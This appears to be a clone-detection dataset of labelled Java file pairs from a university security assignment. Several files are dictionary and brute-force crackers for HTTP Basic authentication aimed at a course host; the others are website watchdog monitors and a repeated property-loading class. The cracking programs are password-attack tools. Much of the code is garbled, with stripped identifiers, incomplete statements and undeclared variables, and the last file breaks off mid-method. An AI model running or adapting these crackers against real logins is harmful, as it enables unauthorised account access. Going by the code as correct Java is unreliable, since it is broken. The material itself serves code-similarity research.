public class ImageFile { private String imageUrl; private int imageSize; public ImageFile(String url, int size) { imageUrl=url; imageSize=size; } public String getImageUrl() { return imageUrl; } public int getImageSize() { return imageSize; } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
105.java
107.java
0
import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+":"+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println("Original String = " + userPwd); System.out.println("Encoded String = " + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( "Authorization"," "+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println ("Invalid URL"); return false; } catch (IOException e) { pw.println ("Error URL"); return false; } } public void getPassword() { String dictionary="words"; String urlString="http://sec-crack.cs.rmit.edu./SEC/2/"; String login=""; String pwd=" "; try { BufferedReader inputStream=new BufferedReader(new FileReader(dictionary)); startTime=System.currentTimeMillis(); while (pwd!=null) { pwd=inputStream.readLine(); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println("Finally I gotta it, password is : "+pwd); System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds"); System.exit(1); } } inputStream.close(); } catch(FileNotFoundException e) { System.out.println("Dictionary not found."); } catch(IOException e) { System.out.println("Error dictionary"); } } public static void main(String[] arguments) { BruteForce bf=new BruteForce(); bf.getPassword(); } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
136.java
107.java
0
import java.util.*; import java.io.*; import java.net.*; public class MyWatchDogTimer extends TimerTask { public void run() { Runtime rt = Runtime.getRuntime(); Process prss= null; String initialmd5,presentmd5,finalmd5,temp1; String mesg1 = new String(); String subject = new String("Report of WatchDog"); int i; try { prss = rt.exec("md5sum first.html"); InputStreamReader instre1 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread1 = new BufferedReader(instre1); sw = bufread1.readLine(); i = finalmd5.indexOf(' '); initialmd5 = finalmd5.substring(0,i); System.out.println("this is of first.html--->"+initialmd5); prss = rt.exec("wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/"); prss = rt.exec("md5sum present.html"); InputStreamReader instre2 = new InputStreamReader(prss.getInputStream()); BufferedReader bufread2 = new BufferedReader(instre2); temp1 = bufread2.readLine(); i = temp1.indexOf(' '); presentmd5 = temp1.substring(0,i); System.out.println("this is of present.html---->"+presentmd5); if(initialmd5.equals(presentmd5)) System.out.println("The checksum found using md5sum is same"); else { prss = rt.exec("diff first.html present.html > diff.html"); System.out.println(" is different"); prss = null; mesg1 ="php mail.php"; prss = rt.exec(mesg1); } prss = rt.exec("rm present.*"); }catch(java.io.IOException e){} } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
051.java
107.java
0
import java.io.*; import java.net.*; import java.*; import java.Runtime.*; import java.Object.*; import java.util.*; import java.util.StringTokenizer; public class Dictionary { String uname = ""; String pword = "null"; Vector v = new Vector(); int runTime; public void doConnect(String connect, int num) { String = connect; try { URL secureSite = new URL(); URLConnection connection = secureSite.openConnection(); if (uname != null || pword != null) { for(int i=num; i<v.size(); i++) { pword = (String)v.elementAt(i); String up = uname + ":" + pword; String encoding; try { connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName(".misc.BASE64Encoder").newInstance(); encoding = encoder.encode (up.getBytes()); } catch (Exception ex) { Base64Converter encoder = new Base64Converter(); System.out.println("in catch"); encoding = encoder.encode(up.getBytes()); } connection.setRequestProperty ("Authorization", " " + encoding); connection.connect(); if(connection instanceof HttpURLConnection) { HttpURLConnection httpCon=(HttpURLConnection)connection; if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED) { System.out.println("Not authorized - check for details" + " -Incorrect Password : " + pword); doConnect(i, i+1); } else { System.out.println("\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"); System.out.println( +"\tPassword : "+ pword); runTime = System.currentTimeMillis() - runTime; System.out.println("Time taken crack password (in seconds)"+" : "+ runTime/1000+"\n"+ "Tries taken crack password : "+ i); System.exit(0); } } } } } catch(Exception ex) { ex.printStackTrace(); } } public Vector getPassword() { try { ReadFile rf = new ReadFile(); rf.loadFile(); v = rf.getVector(); } catch(Exception ex) { ex.printStackTrace(); } return v; } public void setTimeTaken( int timetaken) { runTime = timetaken; } public static void main ( String args[] ) throws IOException { runTime1 = System.currentTimeMillis(); Dictionary newDo = new Dictionary(); newDo.setTimeTaken(runTime1); newDo. getPassword(); String site = "http://sec-crack.cs.rmit.edu./SEC/2/"; newDo.doConnect(site, 0); } } class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24=( octetString [ i++ ] & 0xFF ) << 16; bits24 |=( octetString [ i++ ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6=( bits24 & 0x00FC0000 )>> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
062.java
107.java
0
import java.util.*; import java.*; import java.awt.*; import java.net.*; import java.io.*; import java.text.*; public class BruteForce { public static String Base64Encode(String s) { byte[] bb = s.getBytes(); byte[] b = bb; char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z', 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z', '0','1','2','3','4','5','6','7','8','9','+','/' }; if (bb.length % 3!=0) { int x1 = bb.length; b = new byte[(x1/3+1)*3]; int x2 = b.length; for(int i=0;i<x1;i++) b[i] = bb[i]; for(int i=x1;i<x2;i++) b[i] = 0; } char[] c = new char[b.length/3*4]; int i=0, j=0; while (i+3<=b.length) { c[j] = table[(b[i] >> 2)]; c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)]; c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)]; c[j+3] = table[(b[i+2] & 63)]; i+=3; j+=4; } j = c.length-1; while (c[j]=='A') { c[j]='='; j--; } return String.valueOf(c); } public synchronized void getAccumulatedLocalAttempt() { attempt = 0; for (int i=0;i<MAXTHREAD;i++) { attempt += threads[i].getLocalAttempt(); } } public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); System.out.println(); System.out.println(" ------------------------ [ CURRENT STATISTICS ] ---------------------------"); System.out.println(); System.out.println(" Current connections : "+curconn); System.out.println(" Current progress : "+attempt+ " of "+ALLCOMBI+" ("+currprogress+"%)"); System.out.println(" Overall Attempts rate : "+ovrl+" attempts second (approx.)"); System.out.println(); System.out.println(" ---------------------------------------------------------------------------"); System.out.println(); } public class MyTT extends TimerTask { public synchronized void run() { if (count==REPORT_INTERVAL) { DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); getAccumulatedLocalAttempt(); double p = (double)attempt/(double)ALLCOMBI*100; double aps = (double) (attempt - attm) / REPORT_INTERVAL; attmArr[attmArrIdx++] = aps; printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx); count = 0; } else if (count==0) { getAccumulatedLocalAttempt(); attm = attempt; count++; } else { count++; } } public synchronized double getOverallAttemptPerSec() { double val = 0; for (int i=0;i<attmArrIdx;i++) { val+= attmArr[i]; } return val / attmArrIdx; } private int count = 0; private int attm; private int attmArrIdx = 0; private double[] attmArr = new double[2*60*60/10]; } public synchronized void interruptAll(int ID) { for (int i=0;i<MAXTHREAD;i++) { if ((threads[i].isAlive()) && (i!=ID)) { threads[i].interrupt(); } notifyAll(); } } public synchronized void setSuccess(int ID, String p) { passw = p; success = ID; notifyAll(); interruptAll(ID); end = System.currentTimeMillis(); } public synchronized boolean isSuccess() { return (success>=0); } public synchronized void waitUntilAllTerminated() { while (curconn>0) { try { wait(); } catch (InterruptedException e) {} } } public synchronized int waitUntilOK2Connect() { boolean interruptd= false; int idx = -1; while (curconn>=MAXCONN) { try { wait(); } catch (InterruptedException e) { interruptd = true; } } if (!interruptd) { curconn++; for (idx=0;idx<MAXCONN;idx++) if (!connused[idx]) { connused[idx] = true; break; } notifyAll(); } return idx; } public synchronized void decreaseConn(int idx) { curconn--; connused[idx] = false; notifyAll(); } public class ThCrack extends Thread { public ThCrack(int threadID, int startidx, int endidx) { super(" Thread #"+String.valueOf(threadID)+": "); this.ID = threadID; this.startidx = startidx; this.endidx = endidx; setDaemon(true); } public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { int i ; String msg; URL tryURL = new URL(THEURL); connections[connID]=(HttpURLConnection) tryURL.openConnection(); connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass)); i = connections[connID].getResponseCode(); msg = connections[connID].getResponseMessage(); connections[connID].disconnect(); if (i==HttpURLConnection.HTTP_OK) { System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+")."); setSuccess(this.ID,thePass); return (true); } else { System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+")."); return (false); } } public void rest(int msec) { try { sleep(msec); } catch (InterruptedException e) {} } public String constructPassword( int idx) { int i = idxLimit.length-2; boolean processed = false; String result = ""; while (i>=0) { if (idx>=idxLimit[i]) { int nchar = i + 1; idx-=idxLimit[i]; for (int j=0;j<nchar;j++) { x = (idx % NCHAR); result = charset.charAt((int) x) + result; idx /= NCHAR; } break; } i--; } return result; } public String getStartStr() { return constructPassword(this.startidx); } public String getEndStr() { return constructPassword(this.endidx); } public void run() { i = startidx; boolean keeprunning = true; while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { int idx = waitUntilOK2Connect(); if (idx==-1) { break; } try { launchRequest(getName(), idx, constructPassword(i)); decreaseConn(idx); localattempt++; rest(MAXCONN); i++; } catch (InterruptedException e) { keeprunning = false; break; } catch (IOException e) { decreaseConn(idx); } } if (success==this.ID) { waitUntilAllTerminated(); } } public int getLocalAttempt() { return localattempt; } private int startidx,endidx; private int ID; private int localattempt = 0; } public void printProgramHeader(String mode,int nThread) { System.out.println(); System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************"); System.out.println(); System.out.println(" URL : "+THEURL); System.out.println(" Crack Mode : "+mode); System.out.println(" Characters : "+charset); System.out.println(" . Char : "+MINCHAR); System.out.println(" . Char : "+MAXCHAR); System.out.println(" # of Thread : "+nThread); System.out.println(" Connections : "+MAXCONN); System.out.println(" All Combi. : "+ALLCOMBI); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } public void startNaiveCracking() { MAXTHREAD = 1; MAXCONN = 1; startDistCracking(); } public void startDistCracking() { int startidx,endidx; int thcount; if (isenhanced) { printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD); } else { printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD); } i = System.currentTimeMillis(); idxstart = idxLimit[MINCHAR-1]; if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } mult = (ALLCOMBI - idxstart) / MAXTHREAD; for (thcount=0;thcount<MAXTHREAD-1;thcount++) { startidx = thcount*mult + idxstart; endidx = (thcount+1)*mult-1 + idxstart; threads[thcount] = new ThCrack(thcount, startidx, endidx); System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'"); } startidx = (MAXTHREAD-1)*mult + idxstart; endidx = ALLCOMBI-1; threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx); System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); for (int i=0;i<MAXTHREAD;i++) threads[i].print(); } public BruteForce() { if (isenhanced) { startDistCracking(); } else { startNaiveCracking(); } reportTimer = new java.util.Timer(); MyTT tt = new MyTT(); reportTimer.schedule(tt,1000,1000); while ((success==-1) && (attempt<ALLCOMBI)) { try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { } } if (success==-1) { end = System.currentTimeMillis(); } getAccumulatedLocalAttempt(); double ovAps = tt.getOverallAttemptPerSec(); DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); reportTimer.cancel(); try { Thread.sleep(1000); } catch (InterruptedException e) { } synchronized (this) { if (success>=0) { System.out.println(); System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"); System.out.println(); System.out.println(" The password is : "+passw); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } else { System.out.println(); System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************"); System.out.println(); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]"); System.out.println(); System.out.println(" mode : (opt) 0 - NAIVE Brute force mode"); System.out.println(" (trying from the first the last combinations)"); System.out.println(" 1 - ENHANCED Brute force mode"); System.out.println(" (dividing cracking jobs multiple threads) (default)"); System.out.println(" URL : (opt) the URL crack "); System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"); System.out.println(" charset : (optional) the character set used crack."); System.out.println(" - (default)"); System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); System.out.println(" -alphanum "); System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"); System.out.println(" -alphalow "); System.out.println(" abcdefghijklmnopqrstuvwxyz"); System.out.println(" -alphaup "); System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ"); System.out.println(" -number "); System.out.println(" 1234567890"); System.out.println(" [custom] e.g. aAbB123"); System.out.println(" , : (optional) range of characters applied in the cracking"); System.out.println(" where 1 <= <= 10 (default = 1)"); System.out.println(" <= <= 10 (default = 3)"); System.out.println(" username : (optional) the username that is used crack"); System.out.println(); System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'"); System.out.println(" have specified altogether none at all."); System.out.println(" For example, if [charset] is specified, then [], [], and"); System.out.println(" [username] have specified as well. If none of them specified,"); System.out.println(" default values used."); System.out.println(); System.out.println(" Example of invocation :"); System.out.println(" java BruteForce "); System.out.println(" java BruteForce 0"); System.out.println(" java BruteForce 1 http://localhost/tryme.php"); System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 "); System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 "); System.out.println(); System.out.println(); } public static void countIdxLimit() { idxLimit = new int[MAXCHAR+1]; NCHAR = charset.length(); ALLCOMBI = 0; for (int i=0;i<=MAXCHAR;i++) { if (i==0) { idxLimit[i] = 0; } else { idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); } } ALLCOMBI = idxLimit[idxLimit.length-1]; } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println("Syntax error : invalid mode '"+args[0]+"'"); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println("Syntax error : invalid number '"+args[0]+"'"); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println("Unable open connection the URL '"+args[1]+"'"); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println("Invalid URL '"+args[1]+"'"); printSyntax(); System.exit(1); } } if (argc==6) { try { MINCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[3]+"'"); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[4]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[4]+"'"); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>10)) { System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)"); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)"); printSyntax(); System.exit(1); } if (MAXCHAR>10) { System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)"); printSyntax(); System.exit(1); } if (args[2].toLowerCase().equals("-")) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; } else if (args[2].toLowerCase().equals("-alphanum")) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; } else if (args[2].toLowerCase().equals("-alphalow")) { charset = "abcdefghijklmnopqrstuvwxyz"; } else if (args[2].toLowerCase().equals("-alphaup")) { charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; } else if (args[2].toLowerCase().equals("-number")) { charset = "1234567890"; } else { charset = args[2]; } USERNAME = args[5]; } else if ((argc>2) && (argc<6)) { System.out.println("Please specify the [charset], [], [], and [username] altogether none at all"); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>6)) { System.out.println("The number of parameters expected is not more than 6. "); System.out.println(" have specified more than 6 parameters."); printSyntax(); System.exit(1); } } public static void main (String[] args) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[6]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = "-"; args[3] = String.valueOf(MINCHAR); args[4] = String.valueOf(MAXCHAR); args[5] = USERNAME; } paramCheck(args); countIdxLimit(); Application = new BruteForce(); } public static BruteForce Application; public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; public static boolean isenhanced; public static String passw = ""; public static final int REPORT_INTERVAL = 10; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = ""; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; public static String charset; public static int NCHAR; }
import java.io.InputStream; import java.util.Properties; import javax.naming.Context; import javax.naming.InitialContext; import javax.rmi.PortableRemoteObject; import javax.sql.DataSource; public class WatchdogPropertyHelper { private static Properties testProps; public WatchdogPropertyHelper() { } public static String getProperty(String pKey){ try{ initProps(); } catch(Exception e){ System.err.println("Error init'ing the watchddog Props"); e.printStackTrace(); } return testProps.getProperty(pKey); } private static void initProps() throws Exception{ if(testProps == null){ testProps = new Properties(); InputStream fis = WatchdogPropertyHelper.class.getResourceAsStream("/watchdog.properties"); testProps.load(fis); } } }
182.java
195.java
0
import java.net.*; import java.io.*; public class Dictionary extends Authenticator { private String username; private char [] thisPassword; private URL url; private BufferedReader bf; public static void main(String [] args) { if(args.length!=3) { System.err.println( "usage: Dictionary <url> <username> <dictionary-file>"); System.exit(1); } Dictionary d = null; try { d = new Dictionary(args[0], args[1], args[2]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } catch (FileNotFoundException fe) { fe.printStackTrace(); System.exit(1); } d.work(); } public Dictionary(String url, String username, String passwordFilename) throws MalformedURLException, FileNotFoundException { this.url = new URL(url); this.username = username; thisPassword = new char [] {'a'}; File f = new File(passwordFilename); FileReader fr = new FileReader(f); bf = new BufferedReader(fr); } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && thisPassword !=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e ) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { String s=null; try { for(s = bf.readLine(); s!=null; s = bf.readLine()) { if(s.length()==3) { break; } } } catch (IOException e) { e.printStackTrace(); System.exit(1); } if(s.length()!=3) { thisPassword = null; } else { thisPassword = s.toCharArray(); } return new PasswordAuthentication(username, thisPassword); } }
import java.io.*; import java.lang.Object; public class WatchDog { public static void main(String args[])throws Exception { for(;;) { String s[] = {"/usr/local//tcsh", "-c", "diff copy1 copy2 > diff.html"}; String s1[] = {"/usr/local//tcsh", "-c", "mailx -s \"SEC Assignment2 part2\" < diff.html"}; String s2[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy1"}; String s3[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy1"}; String s4[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./images/*.* copy2"}; String s5[] = {"/usr/local//tcsh", "-c", "mv www.cs.rmit.edu./students/*.* copy2"}; Process p4; Process p5; Process c1 = Runtime.getRuntime().exec("mkdir copy1"); c1.waitFor(); Process c2 = Runtime.getRuntime().exec("mkdir copy2"); c2.waitFor(); Process p1 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p1.waitFor(); Process a11 = Runtime.getRuntime().exec(s2); a11.waitFor(); Process a12 = Runtime.getRuntime().exec(s3); a12.waitFor(); Thread.sleep(86400000); Process p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/"); p3.waitFor(); Process a21 = Runtime.getRuntime().exec(s4); a21.waitFor(); Process a22 = Runtime.getRuntime().exec(s5); a22.waitFor(); try { String str; p4 = Runtime.getRuntime().exec(s); DataInputStream dis = new DataInputStream(p4.getInputStream()); p4.waitFor(); System.out.println("\t\t\tWATCHDOG PROGRAM"); System.out.println("\t\t\t****************"); System.out.println("If any change in the web then the value 1"); System.out.println("If is change then the value 0 "); System.out.println("The value :" + p4.exitValue()); try { while ((str = dis.readLine()) != null) { System.out.println(str); } } catch (IOException e) { System.exit(0); } } catch(FileNotFoundException e) { e.printStackTrace(); } BufferedReader in = new BufferedReader(new FileReader("diff.html")); if (in.readLine() != null) { try { String str1; p5 = Runtime.getRuntime().exec(s1); DataInputStream dis1 = new DataInputStream(p5.getInputStream()); p5.waitFor(); System.out.println("u have received a mail"); try { while ((str1 = dis1.readLine()) != null) { System.out.println(str1); } } catch (IOException e1) { System.exit(0); } } catch(FileNotFoundException ie1) { ie1.printStackTrace(); } } } } }
201.java
195.java
0
import java.net.*; import java.io.*; import java.Ostermiller.util.*; import java.util.*; public class MyClient1 implements Runnable { private String hostname; private int port; private String filename; private Socket s; private int n; private InputStream sin; private OutputStream sout; private int dif; private String myPassword; private int status; private int myTime; private Dictionary myMaster; public MyClient1(Dictionary dic, int num, int myPort, String password) { hostname = new String("sec-crack.cs.rmit.edu."); port = myPort; status = 0; myTime = 0; myPassword = password; filename = new String("/SEC/2/"); myMaster = 0; n = num; dif = 0; } public getDif() { return dif; } public int getStatus() { return status; } public void run() { String inputLine; String[] tokens = new String[5]; int i; myTime = 0; finish = 0; start = System.currentTimeMillis(); try { s = new Socket( hostname, port); }catch( UnknownHostException e) { System.out.println("'t find host"); }catch( IOException e) { System.out.println("Error connecting host "+n); return; } while(s.isConnected() == false) continue; finish = System.currentTimeMillis(); dif = finish - start; try { sin = s.getInputStream(); }catch( IOException e) { System.out.println("'t open stream"); } BufferedReader fromServer = new BufferedReader(new InputStreamReader( )); try { sout = s.getOutputStream(); }catch( IOException e) { System.out.println("'t open stream"); } PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout)); toServer.print("GET "+filename+" HTTP/1.0\r\n"+"Authorization: "+Base64.encode(""+":"+myPassword)+"\r\n\r\n"); toServer.flush(); try { inputLine = fromServer.readLine(); }catch( IOException e) { System.out.println("'t open stream"); inputLine = null; } java.util.StringTokenizer = new java.util.StringTokenizer( inputLine, " "); i = 0; while(bf.hasMoreTokens()) { tokens[i] =bf .nextToken(); i++; } status = Integer.parseInt( tokens[1]); myTime = System.currentTimeMillis(); if( status == 200) { System.out.println("Ok "+myPassword); myMaster.retire( this); } toServer.send(); try { fromServer.recieve(); }catch( IOException e) { 